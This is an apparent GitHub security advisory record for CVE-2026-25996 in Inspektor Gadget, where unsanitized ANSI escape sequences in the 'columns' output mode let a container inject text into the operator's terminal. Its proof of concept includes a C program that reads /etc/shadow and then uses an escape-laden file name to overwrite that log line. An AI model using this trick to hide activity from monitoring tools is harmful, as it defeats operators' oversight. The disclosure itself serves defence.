{"id":"GHSA-34r5-6j7w-235f","summary":"Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode","details":"### Description\nString fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. \n\nTherefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects.\n\nThe `columns` output mode is the default when running `ig run` interactively.\n\n### PoC\n\n#### Attachments\nrun.sh\n```bash\n\n#!/bin/bash\nset -e\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nCONTAINER_NAME=\"poc-escape-inject\"\n\necho \"Make sure ig is running in another terminal:\"\necho \"  sudo ig run trace_open -c ${CONTAINER_NAME}\"\necho \"\"\necho \"Press Enter to continue...\"\nread -r\n\nsudo docker run --rm \\\n    --name \"${CONTAINER_NAME}\" \\\n    -v \"${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro\" \\\n    gcc:latest \\\n    bash -c \"\n        gcc -o /tmp/escape_inject /src/escape_inject.c && \\\n        /tmp/escape_inject\n    \"\n```\n\nescape_inject.c\n```c\n#include \u003cfcntl.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cunistd.h\u003e\n\nstatic void read_file(const char *path)\n{\n\tint fd = open(path, O_RDONLY);\n\tif (fd \u003e= 0)\n\t\tclose(fd);\n}\n\nstatic void create_file(const char *path)\n{\n\tint fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);\n\tif (fd \u003e= 0)\n\t\tclose(fd);\n}\n\nint main(void)\n{\n\tprintf(\"[1] normal activity\\n\");\n\tcreate_file(\"/tmp/app.log\");\n\tprintf(\"[2] malicious read of /etc/shadow\\n\");\n\tread_file(\"/etc/shadow\");\n\tusleep(300000);\n\tprintf(\"[3] tampering the log\\n\");\n\tcreate_file(\"/etc\\x1b[1A/bashrc\\x1b[1B\\x1b[13C\");\n\tusleep(300000);\n\treturn 0;\n}\n```\n\n1. Setup a Linux host and build/install `ig` version `0.48.0`\n2. Run the attached `run.sh` on a terminal\n3. Run `sudo ig run trace_open -c poc-escape-inject` on another terminal\n4. Press \"Enter\" on the terminal attached to `run.sh`\n5. Observe the events traced by `ig`\n6. Notice that, at some point, the line where `/etc/shadow` is logged is overwritten `/etc/bashrc`, demonstrating the log injection\n\n\n### Impact\n\nThe impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying `columns` output.\n\nAt the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones.\n\nHowever, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:\n\n- lead to DoS (Denial of Service)\n- write to the system clipboard\n- create hyperlinks to attacker-controlled servers\n- change window title\n- potentially execute code (see referenced resources)\n\n### Resources\n- https://www.youtube.com/watch?v=spb8Gk9Z09Y\n\n### Notes\n\nThe `json` output mode was already sanitizing the content.","aliases":["CVE-2026-25996","GO-2026-5068"],"modified":"2026-06-25T18:56:44.519077336Z","published":"2026-04-22T18:50:32Z","database_specific":{"nvd_published_at":"2026-02-12T21:16:02Z","cwe_ids":["CWE-150"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-22T18:50:32Z"},"references":[{"type":"WEB","url":"https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-34r5-6j7w-235f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25996"},{"type":"WEB","url":"https://github.com/inspektor-gadget/inspektor-gadget/commit/d59cf72971f9b7110d9c179dc8ae8b7a11dbd6d2"},{"type":"PACKAGE","url":"https://github.com/inspektor-gadget/inspektor-gadget"},{"type":"WEB","url":"https://github.com/inspektor-gadget/inspektor-gadget/releases/tag/v0.49.1"}],"affected":[{"package":{"name":"github.com/inspektor-gadget/inspektor-gadget","ecosystem":"Go","purl":"pkg:golang/github.com/inspektor-gadget/inspektor-gadget"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.49.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-34r5-6j7w-235f/GHSA-34r5-6j7w-235f.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}]}